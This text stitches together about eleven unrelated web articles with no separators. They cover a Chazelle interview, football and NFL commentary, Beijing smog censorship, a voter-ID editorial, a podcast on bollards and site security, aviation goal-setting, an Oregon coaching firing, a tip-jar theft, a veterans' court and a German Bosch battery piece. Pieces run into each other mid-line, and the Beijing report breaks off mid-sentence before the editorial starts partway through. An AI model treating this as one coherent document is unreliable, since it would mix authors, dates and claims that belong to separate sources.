Chazelle conceived of the musical before "Whiplash," but it would be years before "La La Land" drew enough financial support -- the original leads were Miles Teller and Emma Watson -- to start production, which became much easier with the success of the jazz drama. When the film finally opened a few weeks after the presidential election, some credited the portrait of young dreamers with providing a temporary reprieve from the tumult surrounding the country's political divide.
Yet the biggest inspiration for Chazelle, he says, was the "lost" feeling and culture shock he experienced moving to Los Angeles -- a mood Stone's character Mia inhabits, having come from a small town.
"It took me a while to wrap my mind around it," he says. "You find yourself very buffeted by the winds, the up and down of [the industry]," he says.
Chazelle will next leave choreographed flights of fancy behind for an actual moonshot. He'll again be directing Gosling, who is set to play Neil Armstrong in "First Man," adapted from the 2005 James Hansen book about the pioneering astronaut. As for whether he might be returning to New Jersey for inspiration in the future, well, there is this one project -- an untitled, Garden State-side musical that Chazelle wrote before "La La Land."
"I set it in Jersey, in Newark," says Chazelle. The story was about "the relationship between people in Newark and people in New York," he says. "Sort of the city-across-the-river thing." The visual cues of the unmade Brick City production, he says, were "high rises that you could see from a distance, both in Newark and New York."
Amy Kuperinsky may be reached at akuperinsky@njadvancemedia.com. Follow her on Twitter @AmyKup or on Facebook'Super Jan' would have loved to have been able to transport himself in a flash to the Etihad Stadium on Sunday.
That's because as Jan Vertonghen admits, if there is one thing driving his return from injury, it's watching from the sidelines as the players and the fans together as one celebrate winning big matches - and it doesn't get much bigger or better than that dramatic late victory against Manchester City.
"I want to be involved in those celebrations too!" said Jan, who was ever-present in the Premier League with 23 starts out of 23 when he sustained a knee injury during our 3-1 win at Palace on January 23.
"I see them cheering in front of the away fans at City, I see them playing well at home to Watford or away at Norwich and it’s hard because, especially at times like this, you want to be a part of the team. That motivates me to come back as soon as possible."
What a performance! What a team!! — Jan Vertonghen (@JanVertonghen) February 14, 2016
One half of the central defensive partnership alongside Toby Alderweireld - who remains ever-present after 26 games - that has laid the foundations for the best defensive record in the Premier League, Jan's season took a turn for the worse when he fell awkwardly in the 72nd minute at Selhurst Park and suffered damage to his medial collateral ligament.
Such a positive influence on and off the pitch, Jan has knuckled down and his rehabilitation is right on track.
"They (the medical team) always give you a timeframe to come back and the target of the injured player coming back is always to beat that time," he explained. "I’m out of the brace now and I can walk again so I improve every day. It’s hard work and it will take time.
"I’m aiming to be back around the international break and I want to be part of the team and help however I can.
"The lads support me a lot – they come and see me every day as well as the staff. I know I’m around the best people. The lads and the gaffer do everything to give me the feeling that I’m part of this team all the time."
Below: Jan during the team's warm weather training break in Barcelona
And there is full praise for Kevin Wimmer, the young Austrian international who stepped off the bench for his Premier League debut when he replaced Jan at Palace and has played every minute since, helping us keep two clean sheets in four games - all victories - as well as nullifying the potent threat of Sergio Aguero at City.
"I always knew Kevin was a very good player and that’s what pushes me to improve as well," added Jan. "There is competition for places all over the pitch and that’s what makes the squad so strong.
"Everyone fits in to the team easily in all competitions and that’s the strength that we have here. It’s easier to fit players in when the team is doing well even if that’s younger players from the Academy, they just fit in to that level. That’s all down to the manager and coaching staff and it’s full credit to them."With the notable exception of the mastermind in New England, no head coach in the NFL has a record of sustained success to match Mike McCarthy. In his 10 accomplished seasons on the job in Green Bay, McCarthy has rolled up 112 wins, five NFC North division titles and eight playoff berths, and the Packers’ franchise-record streak of seven consecutive postseason appearances is matched only by Bill Belichick’s dynastic Patriots.
But despite that gaudy résumé, to think that 2016 does not shape up as the most pressure-packed season yet for McCarthy is to ignore the reality of the situation in Titletown, where the bar of expectation has long been left in the sky-high setting.
• NFL head coaches with the most to prove | QBs with most to prove
To wit, we hold these Cheesehead truths to be self-evident:
• Five long seasons have come and gone since Green Bay’s lone Super Bowl run of the McCarthy era. The 2010 Packers’ conquest of the Steelers in Dallas sparked dreams of a multiple-ring scenario as quarterback Aaron Rodgers entered the prime of his career with a bevy of talent surrounding him. Since then, Green Bay has lost in the NFC divisional round three times, in the wild-card round once and in that memorable NFC Championship Game in overtime in Seattle two years back. The past three postseason defeats have all been decided on the game’s final play, heightening the frustration level exponentially in Packers World.
• Last year’s season-long offensive struggles and play-calling issues were wildly uncharacteristic of Green Bay, and the level of underachievement can’t simply be explained away by noting the devastating loss of No. 1 receiver Jordy Nelson to a preseason knee injury. As superb as Nelson is, his absence should not have wrecked the Packers’ entire offensive mojo, and the toll that injury wound up taking is an undeniable indictment on McCarthy.
• Rodgers, entering his 12th season, will be 33 in December, and there’s now an unprecedented urgency to maximize Green Bay’s window of Super Bowl opportunity while one of the league’s elite quarterbacks is near the top of his game. Boiled down to its essence, the ultra-successful Packers in McCarthy’s 10 years have been something along the lines of the NFL’s version of the 1991–2005 Atlanta Braves: a great team that somehow managed to put it all together just once in their perennial postseason runs.
As good as the Packers have been for so long under McCarthy, this much I know from covering the league since 1990: A team staying at status quo, be it at the high end or the low end, is rarely a good thing in the NFL. It creates frustration that inevitably builds, and some of that frustration finally seeped out at times in Green Bay last season, when McCarthy’s attempt to delegate the play-calling duties to offensive coordinator Tom Clements didn’t work and had to be reversed mid-year. Rodgers and McCarthy reportedly showed signs of a strained relationship beneath the surface, and there was even a persistent storyline that McCarthy had finally grown weary of Packers general manager Ted Thompson’s steadfast penchant for not partaking in free agency in favor of building Green Bay’s roster through the draft and capitalizing on undrafted finds. Alas, only winning big will make all that noise go away in 2016.
Some of 2015’s drama in Green Bay was simply the byproduct of a team that didn’t live up to its projections, and some of it is just what naturally occurs in the case of a franchise that has had the same head coach for a decade. The ever-perceptive Bill Walsh was largely right about the shelf life of an NFL coach being 10 years. After that, coaches, no matter how successful, are susceptible to being tuned out by their players to a degree, with a message and methods that can often grow stale and in need of rejuvenation.
• Power Rankings: OTAs edition | Teams who might beat Vegas win total
No, McCarthy isn’t on the hot seat in the traditional sense as the new season looms. The guy might one day be linked in the Packers’ coaching pantheon with Lambeau, Lombardi and Holmgren, and deservedly so. His record is that good. But this is still a very pivotal year for Green Bay’s creative head coach, and if there’s any sign of continued malaise on offense, or if the Packers lose any more ground to the resurgent Vikings in the division, some serious heat will undoubtedly descend on McCarthy.
Pressure takes many forms in the NFL, and there isn’t a coach in the game who doesn’t face it annually. But McCarthy’s Packers tenure is at a tricky enough point where his future no longer looks assured, and settling for perennial Super Bowl contention won’t be deemed sufficient forever in Green Bay.A woman wearing a mask walks out from a bus at the Central Business District in Beijing, China Tuesday, Nov. 11, 2014. All the sky-clearing measures plus cooperation from the weather kept Beijing relatively free of air pollution for most of a seven-day Asia-Pacific conference ending Tuesday. Then, toward the end as top leaders met, the smog crept back. (Source: AP)
All the sky-clearing measures plus cooperation from the weather kept Beijing relatively free of air pollution for most of a seven-day Asia-Pacific conference. Then, toward the end as top leaders met, the smog crept back.
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So, China went to Plan B: Censor the pollution monitors.
Many Beijingers get up-to-the moment updates on pollution — including levels of the dangerous PM2.5 particles — by monitoring websites and mobile phone apps. Usually these provide two sets of readings, one from Beijing city authorities and one from the U.S. Embassy, with the latter considered by many to be the more trustworthy.
But the Embassy readings were absent from some of the pollution monitoring sites during the Asia-Pacific Economic Cooperation conference that opened Nov. 5 and culminated in a summit Tuesday of leaders including Presidents Barack Obama, Xi Jinping of China and Vladimir Putin of Russia.
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One of the websites, Beijing-air.com, posted a noticing saying it had “received instructions from authorities saying that this month’s air quality readings will be based only on what is released by the Beijing environmental protection bureau.”
“Wishing the APEC meeting every success,” the website added.
Chinese authorities went to great lengths to turn the skies blue for APEC by closing factories and construction sites, banning cars on certain days and postponing the seasonal start of a coal-powered heating system.
For most of the conference the skies were so stunningly clear that “APEC blue” was coined by Chinese as a new phrase meaning “ephemeral” — “He’s not that into you; it’s an APEC blue.”
By Monday evening, Beijing’s levels of PM2.5 had reached nearly 200 — or about eight times the level considered safe by the World Health Organization — according to the U.S. Embassy figures, which were still available on Twitter for people who |
2016 popular vote. The president has even launched an investigation of his own, the existence of which will self-justifyingly become more “evidence” of a crisis.
On Aug. 1, a federal judge declined to block the president's voter fraud commission from collecting voter data. A lawsuit attempting to block the collection of voter data could now go to a federal appeals court. (Patrick Martin/The Washington Post)
Further, Ramos wrote, in the decade before the Texas legislature passed its voter ID law, “there were only two votes cast that resulted in fraud convictions.” That is out of 20 million votes counted. Since the law was passed, she noted, “the rate of referrals, investigations, and convictions (detection and deterrence) did not increase.”
These facts reflect the national picture. As a Post editorial noted last year, at a time when Trump said that the election was being rigged against him, “a comprehensive analysis from Arizona State University’s News21 project found only 2,068 accusations of voter fraud between 2000 and 2012. A mere 7.4 percent of those involved double voting. Voter impersonation, the sort of fraud that voter-ID laws are designed to combat, accounted for 0.5 percent of recorded fraud allegations. The United States runs one of the cleanest election systems in the world. There simply is no national voting fraud crisis.”
Allegations of widespread in-person voting fraud rely not on evidence, but on rhetoric, innuendo and credulous people so blindly partisan that they will accept these as evidence.
Republicans pass voter ID laws to try to prevent Democrats from winning, with requirements that disproportionately affect poor minorities. They add hassle for some people and not others, and they force vulnerable people without the specified ID to worry about signing their name to an affidavit, under threat of prosecution, just to be able to vote. The point is to get as close to imposing voter suppression rules — such as the poll taxes and literacy tests of the Jim Crow South — as the courts will let them.
Judge Ramos is not giving Texas much leeway. Higher courts, on the other hand, might be more permissive. The best check on voter suppression is, somewhat counterintuitively, voter determination. Americans must stiffen their resolve to vote — and that means everyone, not just the Americans whom Republicans want to see at the polls. Otherwise, the country will have to wait for enough Republicans to develop shame. And that could take a while.It’s June 30, 2007. You are standing outside the doors to the terminal at Glasgow International Airport. It’s 3:11 in the afternoon. It’s raining, a little bit. The ground is wet as cars drive past.
Then, all of a sudden, a dark green Jeep Grand Cherokee approaches. It’s going too fast. It shouldn’t be going that fast. There are two men inside. It’s headed straight at you, straight at the terminal. There are so many people inside.
You hold your ground. That’s your job, actually. You dig in as the jeep approaches at 30 miles per hour. It’s not gonna stop.
It’s not getting past you though. It hits you, stops immediately, and it’s on fire. The smell of gasoline is everywhere. The driver gets out. He’s on fire too, and starts walking toward the terminal. Someone inside puts him out but makes sure he stays down. Doctors will do everything they can to save him but he’ll die of his burns a few days later.
The passenger gets out and someone — a hero — tackles him to the ground. He’ll serve at least 32 years of a life sentence for his part in this. You’re a hero too. You stopped that jeep with its cans of gas and cylinders of propane from entering the terminal. But you won’t get the Queen’s Gallantry Medal or the Commendation of Bravery, like those other people. But you’re not a person, are you?
You are a post in the ground, in front of the door. Your job is to keep the bad guys in speeding cars and trucks out.
You, are a bollard.
This is Matt Croydon and you are listening to The Tinycast.
The first things to be called bollards were posts on ships and wharves where they docked. Some of the earliest surviving references in literature describe their use on whaling vessels. Like this passage from The Arctic Regions and the Northern Whale-fishery from 1849, originally published in 1820:
“To retard, therefore, as much as possible, the flight of the whale, and to secure the lines, it is usual for the harpooner to cast one, two, or more turns of the line round a kind of post, called a bollard, which is fixed within ten or twelve inches of the stern of the boat for the purpose. Such is the friction of the line, when running round the bollard, that it frequently envelops the harpooner in smoke; and if the wood were not repeatedly wetted, would probably set fire to the boat.”
On land, bollards were sometimes repurposed cannon, their barrels buried in the ground. In the early 18th century they began to be used in cities for traffic management and to protect buildings against damage from carriages.
Today, bollards are everywhere, and they take many forms. You might see them on a construction site: skinny orange plastic posts on a rubber base or the bigger kind that almost look like a barrel. They can separate bike lanes from traffic. You might see a single bollard in the middle of a bike path making sure that bikes can pass but cars can’t. Sometimes they provide lighting along a foot path or are lit with signage. You might see them in parking lots, protecting things from wayward bumpers.
One of my favorite things that bollards do well is play a critical role in something called site security. Site security is basically keeping a building or campus safe from threats. It’s also about reducing the risk of terrorist attacks by car or truck.
It’s time for a little site security 101.
One way to think of site security is to break things up in to six zones from the outside in. Think of it like a castle with a moat, a wall, and a fortified keep in the middle.
Zone 1 is the neighborhood outside. You usually can’t control things here but you can work with businesses, community groups, and governments to affect stuff like traffic flow or zoning laws.
Zone 2 is your standoff perimeter. This is where you draw the line and say that no unauthorized vehicles are going to get past. This is where you make the calculation that if an explosive in a car or truck goes off, the buildings you’re protecting will be safe enough.
The perimeter can be made from walls to fences, planters, light posts, reinforced benches, and bollards, among other stuff. A well designed perimeter can be made more open and inviting with some well-placed bollards and other things that provide enough protection with a more open feel.
Zone 3 is site access and parking. This is another spot where you can use bollards to control the flow of traffic. Retractable bollards can be used to protect entrances from ramming while allowing authorized vehicles through. Retractable or collapsible bollards can also be used in pedestrian areas that might require emergency vehicle access.
Zone 4 is your site, or the area between your standoff perimeter and your buildings. The bigger this zone is the better protected you are from explosions at the perimeter. This is an opportunity to have a big public plaza, a visitors center, outdoor art, a park or a café. Benches, bollards, planters, water features, and landscaping can be used to restrict vehicle access while keeping things open and inviting.
Zone 5 is your building envelope: the outside of the buildings you’re protecting and things like air vents and entrances.
Zone 6 is management and building operations. This can be anything from moving higher risk areas deep inside buildings to surveillance and security patrol planning.
All bollards aren’t created equal. The most elite bollards are certified K12 by the Department of State. They might be buried deep in the ground or have elaborate shallow roots in urban settings. These can stop a 15,000 pound flatbed truck at 50 miles per hour. They can only allow the front of the truck bed a single meter past the bollard. That’s stopping power.
I went looking for bollards in downtown and suburban Austin, Texas. Needless to say I found a ton. I put together a photo gallery at tinycast.in/bollards. I ended up at one of the more complex site designs in Austin:
I’m outside the Texas State Capitol grounds at the standoff perimeter. There are beautiful flowers, a low wall and an ornate gate with bollards in front of it. Just to either side of me is a driveway with retractable bollards so cars can exit. The Capitol grounds also maximize the distance from the street to the building. There are paths and shade and statues and plaques. This is both successful site security design and a beautiful public space.
Overall I think bollards do a pretty excellent job at all the jobs that they do. They are definitely pretty open and pedestrian and bike friendly. The bang for buck on them usually makes a lot of sense too.
I’ll bet you see them everywhere you go today today.
You’ve been listening to The Tinycast, the place where you’re not at all surprised to hear from an anthropomorphized architectural element.
Music is by the mysterious Breakmaster Cylinder, whose beats are so solid they’re rated K12. You can find them on SoundCloud, Bandcamp, or protecting street corners everywhere.
Today’s show is brought to you by audible.com where you can get a free audiobook and a 30 day free trial by visiting audible.tinycast.in. If you’re looking for books set at sea, check out Master and Commander, the first book in the Aubrey-Maturin series by Patrick O’Brien. Or try one of the Richard Bolitho novels by Douglas Reeman who writes as Alexander Kent. That’s right, even the ad copy is pedantic here. Get your free audiobook and your 30 day free trial at audible.tinycast.in.
As always, you can find tons of links to further reading at tinycast.in. You can find us in iTunes, soundcloud.com/tinycast, and hopefully wherever you are. We’re on Twitter @thetinycast, and I’m @mc. You can see a photo gallery of all the bollards I encountered at tinycast.in/bollards.
Episodes are also available at the Public Radio Exchange, PRX.org.
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Setting Aviation Goals: The SMART Approach
Having goals is something we should always endeavor to do. Not just for flying, but since we are talking aviation that will be the context for this article. Certainly these ideas can be applied to anything else in life.
When President Kennedy announced in 1961 that we would put a man on the moon within the decade, he was setting a goal, a very ambitious goal.
Don’t be afraid to set long-term goals. It’s ok to look out 5 or 10 years. Aviation isn’t a cheap endeavor and I get lots of feedback about the costs being the #1 thing holding potential and current aviators back. If you don’t have the means now, set your goal more long-term and follow through. If you want it bad enough and you hold to your goals, you’ll be amazed at the results.
Why set goals?
Setting a goal solidifies your intention. It gives power to you desires. Without well-defined goals we are driving without a roadmap. I have encountered lots of folks who never achieve anything significant because they refuse to set goals.
Just because you set a goal to get a license or buy an airplane, doesn’t mean it’ll happen right away, but you have to start somewhere. Setting the goal provides that starting point; a launch pad to your dreams – it’s that simple.
Realistically not every goal is achievable. As a teenager, I set a goal to be a fighter pilot – didn’t happen. But the journey to get me there, brought me other great things, things I wouldn’t have otherwise achieved. Sometimes we have to trust that if we move towards our goals the right things will happen even if at the time it seems like failure.
Ok, enough philosophy, let’s talk practical steps.
Let’s apply the tried and true SMART mnemonic. It’s a little tired, so I adapted it slightly to better suit our needs.
S.M.A.R.T.
Specific – You have to spell out what you plan to achieve in aviation. For example, if you want to get a floatplane rating, it isn’t going to just happen without some specific planning. A good goal like this wouldn’t be “I want a floatplane rating”; rather “I will take the family to Florida for vacation and get the add-on rating while I’m there.”
Measurable – It’s important to have measurable benchmarks. Using the floatplane example, I need to save up $2000 by October to pay for the training. In training, it’s great to set goals for your progress. Don’t go overboard, when it comes to training, some benchmarks are out of your control. The important thing is setting the intention.
Actionable – If you can’t take action, you may not have a well-defined goal. I want to be an airline captain is a great goal, but it isn’t particularly actionable. But sub-goals in support of that, like getting your ratings, is actionable. You have to be taking incremental steps.
Reasonable – If your goal is to fly the, now retired, Space Shuttle, that might be a bit unreasonable. Don’t be shy about setting really hard stretch-goals, but you must use some commonsense.
Timed – You need to set deadlines otherwise you risk floundering around and not accomplishing anything. Be hard on yourself when it comes to keeping you deadlines.
Don’t be afraid to adapt. Things change so we have to be somewhat flexible.
Tips
State the goal positively
Be precise
Write them down – This one is huge!
Follow through – be disciplined in your pursuit of your goal
“The greater danger for most of us is not that our aim is too high and we miss it, but that it is too low and we hit it.” ~ MichelangeloThe Oregon football program sold its soul on Tuesday. It went from being a program that succeeded with a lineage of coaches stretching back four decades to just another school so desperate to win that it gutted out the very essence that made the program successful to begin with.
No matter where you stand on UO athletic director Rob Mullens’ decision (likely made far before Tuesday) to fire coach Mark Helfrich after a 4-8 season, there is no denying that it was fundamentally messed up the way it all went down.
First losing season in 12 years.
Two years removed from going to the national title game and producing a Heisman Trophy winner.
A team filled with young talent and marred by injuries.
These are not the scenarios that generally lead programs to fire a head coach and likely his entire staff.
But there Mullens sat on Tuesday night at Matthew Knight Arena attempting to justify the move after an ugly season that certainly warranted examination but not wholesale changes. Mullens essentially pushed the panic button.
His move sends the message that the program has outgrown the men who helped make it what it is. Although, he denied that’s the case.
“I’m saying that we’re very grateful for all that‘s been done here,” he said. “We need a change of direction.”
The country is littered with college football programs that hastily changed directions right into the gutter.
As for being “grateful,” let’s examine the little matter of how Mullens went about handling this decision. Some sources say he had made up his mind to fire Helfrich weeks ago. He said he decided on Tuesday.
The belief here is that Mullens was pretty much sure he would fire Helfrich at the very latest on Saturday following the team's 34-24 loss at Oregon State. Yet on Sunday morning he left for Texas for a couple of days to be a part of the College Football Playoff committee after telling Helfrich and his staff to continue with recruiting plans while not knowing their job status.
Oregon's coaches literally met with players and high school coaches over the next two days while recruiting to Oregon with no idea that they even had jobs.
Early Tuesday evening, assistants received a call from Helfrich telling them that he had been fired and to come on home.
Shameful. Classless. Disrespectful.
Worse things have happened to coaching staffs? It's a cutthroat field. But Oregon hadn’t fired a head coach in 40 years. Some coaches have been on Oregon’s staff since Mullens was in high school.
To treat them that way after all they had accomplished at Oregon was flat out doggish.
Now, the jaded out there will say this is “show business” and not “show friends.” They do so knowing damn well that if their employers treated them like that they would be livid.
Don’t be a hypocrite. Call this what it was. A panic move handled very poorly.
Mullens laid out his reasons for making the move. He believes the program needs a new direction. He stated that the winning culture had eroded. The team didn’t win enough games, etc.
That’s all fine and good, but there is no guarantee that a new coach is going to fix any of that in greater fashion than the current coaching staff that has already proven it could win big at Oregon.
Mullens is trading the known for the unknown, and doing so following one bad season. The chances of him hiring a coach that has been to a national title game, or won a major conference championship, or produced a Heisman Trophy winner are minimal.
The Ducks could be good again as early as next season. Any good coach could win at Oregon moving forward with the young talent on this roster. But is there a coach out there willing to come to Oregon that would never have a down season? To separate themselves from this staff, a new coach must be able to consistently land recruiting classes that rank in the top 10. Otherwise, the Ducks will have a hard time contending for national titles given that the overall impact of the no-huddle spread that carried the program for the past decade has waned.
If Oregon finds that guy, then this move could lead to equaled success. If not, UO is going to have its ups and downs. No way around it.
The bar has been set. Having one losing season at Oregon, regardless of prior success, and your head could be on the chopping block.
If you cling to the notion that the losing came because of poor recruiting under Helfrich, you simply lack elementary math skills. Problems on defense began with the 2012 and 2013 recruiting classes under Kelly (13 of 19 recruits in the 2013 class committed under Kelly before he left for the Philadelphia Eagles on Jan. 16 with signing day weeks away).
Helfrich failed to fix things with the 2014 class, but the 2015 and 2016 classes have already produced defensive players who have shown great potential, including freshman linebacker Troy Dye.
Also, Helfrich found the answer at quarterback with freshman Justin Herbert, who could very well become the second greatest passer in program history behind 2014 Heisman Trophy winner Marcus Mariota, also recruited and developed by Helfrich.
The irony in all of this is that if a new coach wins in the next three seasons, he would have done so with the players recruited by the current coaches. Gone would be the false narrative that these coaches failed in recruiting despite a track record of success in that area.
Sometimes tough decisions can’t be handled cleanly. There’s no real good way to breakup with someone in any circumstance.
But one of the charms of the Oregon program was that it had such a grand lineage. It's one that former players adored.
Many are not very happy right now. In fact, those I've spoken to are disgusted. Do their opinion’s matter in the long run? Probably not. At least not within the new culture at Oregon that shifted from “family and history” to a belief that the facilities and the money-men behind the grand buildings are more important than the actual people in the building or on the field.
That brings us to a last point: The string of coaches from Rich Brooks to Mike Bellotti to Chip Kelly to Mark Helfrich has been broken.
An athletic director has decided to destroy that 40-year connection, despite a $15 million buyout ($11.6 million just for Helfrich) to do so. Now, the direction of the program is entirely on Mullens and the boosters.
For the first time, they will be solely responsible for what happens on the field. They can no longer blame the coaches because they will be solely responsible for demolishing what existed in order to hire their own guy.
Mullens had better get this hire correct. Now, the pressure to meet unrealistic expectations falls squarely on his shoulders.ORANGE COUNTY, Fla. - Video from the Beef Jerky Experience shows a man rolling into the store. He asks the owner for a box, saying he's going to buy a lot of jerky, but he then waits for her to walk away from the register.
"Someone in a wheelchair is kind of unassuming, so you can never look away. Sometimes when you got a cookie jar open with money in it," store manager Ryan Monnier said. "(This was) definitely someone I think who knew what they were doing and plotting to do this."
The video then shows the man grab the bills from the tip jar and tuck them under his leg. The owner comes back with the box and the man quickly rolls out of the store.
"It's a donation jar, so we didn't think we needed to guard it," Monnier said.
Monnier has been working at the store since it opened in June. He said the jar has helped raise more than $1,000 for a good cause.
"We get a lot of donations for Mission Blue Ink, and that's where the money goes -- to first responders here in Orlando who have been injured in the line of duty," Monnier said.
Monnier said he doesn't think the crook took the time to read the flier near the jar and has a message for him.
"I don't think that he knew. Maybe if he did, he would have thought twice," Monnier said. "You can stay out of the Beef Jerky Experience, buddy. You don't want to come back. You're not welcome."
Since the incident, the store has added a lid to the tip jar, but the crook is still out there.
Anyone with information about the incident can call the Orange County Sheriff's Office.
Copyright 2016 by WKMG ClickOrlando - All rights reserved.Advertisement
It is no secret that our military veterans population is often hard-pressed by life circumstances gone awry, resulting in almost two dozen former-soldier suicides per day. The grind of re-acclimating to civilian life after serving our nation in the military has challenges. Organically, PTSD and depression are often deeply entrenched roots which transcend external strife such as unemployment and homelessness which sometimes engenders legal issues such as fines, encumbrances, and warrants.
In one Tampa Bay-area courtroom dubbed the “Veterans Forgiveness Court,” the wheels of justice are not zooming right on by this demographic which could use some assistance but, instead, slowing down to lend an ear and some helpful judgments resulting in clean-slate opportunities.
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Hillsborough County, Florida has a Veterans Outreach Court designed to adjudicate former military warriors whose post-service life may have garnered some legal tabs. The county judge overseeing this unique court, Daryl Manning, is also a military veteran.
On the Hillsborough County Clerk of the Court website, Judge Manning said, “As a veteran of the US Army, I know and appreciate the sacrifice and service our veterans have offered our country. [The] Veterans Outreach Court is a way we can help these men and women veterans quickly resolve some of their legal issues and help them get back on their feet.”
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As mentioned earlier, discharged soldiers returning home sometimes wind up without a home. Having depleted their resources, some culminate in a poverty-level statistic. The Veterans Outreach Court is specifically designed for this particular demographic: poverty-stricken military vets who have fallen upon hard times in civilian capacity.
Albeit having a central focus of absolving legal dilemmas, the Veterans Outreach Court does not generally include certain legal matters such as domestic violence cases, child support orders, felony warrants, and other cases ordinarily relegated for adjudication in/by a military tribunal. However, a retired Special Forces buddy of mine volunteers in the Veterans Outreach Court process and attests “exceptions to the rule are sometimes made, wiping-out a felony warrant and any related fines.” That can’t happen until they stand before a judge.
Veterans Outreach Court Judge
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Appointed to the judicial bench by Florida Governor Rick Scott in September 2015, County Judge Daryl Manning served in the United States Army as a Judge Advocate General (JAG), retiring with the rank of Lieutenant Colonel. Post-military career, Judge Manning served in the Tampa Attorney General’s Office as an assistant attorney before being picked by Governor Scott to serve on the bench in the 13th Judicial Circuit.
With his appointment of Judge Manning, Governor Scott related, “Throughout his career, Daryl has honorably served Florida as a member of the U.S. Military and as an Assistant Attorney General. I am confident he will do a great job on the Hillsborough County Court.” Judge Manning served as an assistant attorney general for 16 years before he donned the black judicial robe.
During his many years in the military, Judge Manning “served several tours in support of the Global War on Terrorism in Iraq, Afghanistan, Saudi Arabia and Kuwait before retiring as a Lieutenant Colonel in 2015,” according to A Kid’s Place of Tampa Bay, Inc. where Judge Manning serves as a board member. Another testament to service is filling the role as a Guardian ad Litem, another forward-paying gesture which Judge Manning has on the selfless-belt under his robe.
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With inherent value to our military warriors trying to rebuild their lives while liberating from bondages, spearheading the Veterans Outreach Court certainly attests what Florida Governor Scott publicized. In terms of confidence in Judge Manning’s competency, I do not hesitate to add his compassion and measured use with regard to delegated judicial authority.
Court Conglomerate
Resembling the traditional judicial process in America, various criminal justice entities are part-and-parcel components in the Veterans Outreach Court model…supplemented by military stewards: The 13th Judicial Circuit Court, Hillsborough County Veterans Services, the Hillsborough County State Attorney’s Office, the Hillsborough County Public Defender’s Office, Tampa Homeless Outreach, the Hillsborough County Clerk of Court & Comptroller, and the US Department of Veterans Affairs.
Local non-profit veterans’ organizations also help facilitate the official proceedings by providing requisite registration, transportation, and any manner of logistics to ensure criteria are met by veterans. Under the tutelage of Judge Manning, a team of judges hold court and fulfill the mission.
Operation Reveille
The Veterans Outreach Court is but one element in retooling military veterans, similar to those offered by the VA posts around the nation.
Related to the Veterans Outreach Court is the US Veterans Administration’s “Operation Reveille” program which seeks to “provide Veterans with housing and wraparound services they need to successfully exit homelessness—in just one day.” I’m sure they mean the services are applied in “just one day” to equip homeless veterans with the necessary resources to acquire sustainable housing and a future.
According to the Veterans Administration, “Operation Revielle events bring together government agencies, faith-based organizations, housing providers, non-profit agencies, and local businesses to connect homeless Veterans with permanent supportive housing; intensive case management; benefits eligibility screening; and employment, legal assistance, and mental health services. Since 2014, annual Operation Reveille events held in Tampa, Florida have placed more than 100 Veterans in permanent supportive housing over the initiative’s three years.”
Stand Downs
Scheduled and operated by VAs around the country, Stand Downs are “events providing supplies and services to homeless Veterans, such as food, shelter, clothing, health screenings and VA Social Security benefits counseling,” according to the Veterans Administration site. Also offered at Stand Downs are solutions for housing, treatments for mental health and substance abuse, and employment attainment. Federal, state, county and local governments collaborate with respective community homeless service providers to roll-out a bevy of veterans assistance.
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At a recent 4 County Stand Down, “over $67,000 in fines and payments were absolved [on behalf of] Veterans,” mentioned Randall McNabb, discussing the program’s values via the Tampa Homeless Outreach Facebook page.
Lifelong Roles
It is often said: “Once a cop, always a cop.” Having lived a law enforcement life, I can attest to that credo.
As a street cop whose career was mostly spent on midnight shift, I gravitated to individuals walking streets or huddled in doorways or bunked on park benches. In-between sniffing-out burglars and sleuthing contraband from automobiles, I formed some fantastic bonds with folks who somehow lost their compass.
Like cops, soldiers maintain a constant battle between good and evil. Often, the war is within…pushing to get out of tight, angst-ridden space.
The how-I-became-homeless stories I was exposed to tore at the Kevlar, minus the malice. Somber eyes perched in battle-hardened bodies unyieldingly telegraphed “Help!” without ever uttering the word. Like cops, soldiers maintain a constant battle between good and evil. Often, the war is within…pushing to get out of tight, angst-ridden space.
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Although my duty called for it, Trespass warnings accomplished nothing but transplanting the dilemma. Frankly, despite fulfilling my duty, I felt failed as a human at times. Displacing anyone while harboring the confirmation that they have nowhere to go…multiplies one stark soul into two then three and so on. It weighs heavy.
The resolve for living with such nuances comes with programs like Veterans Outreach Court and Operation Reveille and any Stand Downs across the nation.
The universal links are always on-duty: Tampa Homeless Outreach facilitating hard-hit veterans to clear-away legal burdens is operated by military veterans, some of whom happen to be current law enforcement officers…all encamped to do the right thing for those who unquestionably enabled those freedoms.by
Lange Lebensdauer, beste Qualität, höchste Sicherheit – die Anforderungen an Hochvolt-Batterien in Fahrzeugen sind enorm. Eine Lithium-Ionen-Batterie muss derzeit beispielsweise für eine Laufleistung von mindestens 150.000 Kilometern und eine Lebensdauer von bis zu 15 Jahren ausgelegt sein. Nach diesem Autoleben muss die Batterie dann immer noch achtzig Prozent ihrer anfänglichen Speicherkapazität und Leistung aufweisen. „Eine gleichermaßen günstige, leistungsfähige und zuverlässige Hochvoltbatterie fürs Auto zu entwickeln – das ist die sprichwörtliche rocket science“, sagt Dr. Joachim Fetzer, Mitglied des Bereichsvorstands Gasoline Systems mit der Zuständigkeit Elektromobilität bei der Robert Bosch GmbH. Bosch will bis in fünf Jahren doppelt so leistungsfähige Hochvoltspeicher anbieten. Zeitgleich forscht der Konzern an neuen Batterietechnologien.
Der Konzern sieht bei der Lithium-Ionen-Technologie noch viel Potenzial. Heutige Akkus haben eine Energiedichte von zirka 115 Wh/kg, bis zu 280 Wh/kg sind möglich. An der nächsten Generation der Lithium-Ionen-Batterie forscht Bosch zusammen mit GS Yuasa und Mitsubishi Corporation im Joint Venture Lithium Energy and Power. „Unser Ziel im Joint Venture ist es, Lithium-Ionen-Batterien bis zu zwei Mal leistungsfähiger zu machen“, sagt Fetzer. Dabei bündeln die beiden Partner ihre Stärken: GS Yuasa bringt Erfahrungen in der Zelloptimierung ein, um eine Batterie mit höherer Energiedichte und gesteigerter Reichweite produzieren zu können. Bosch steuert seine Erfahrung beim komplexen Batteriemanagement und der Systemintegration bei.
In der zentralen Entwicklung arbeitet Bosch an Post-Lithium-Ionen-Batterien. Ein Beispiel dafür ist die Lithium-Schwefel-Technologie. Diese verspricht eine höhere Energiedichte und -kapazität. Die Lithium-Schwefel-Batterie wird nach Schätzungen von Bosch frühestens Mitte der nächsten Dekade serienreif sein.
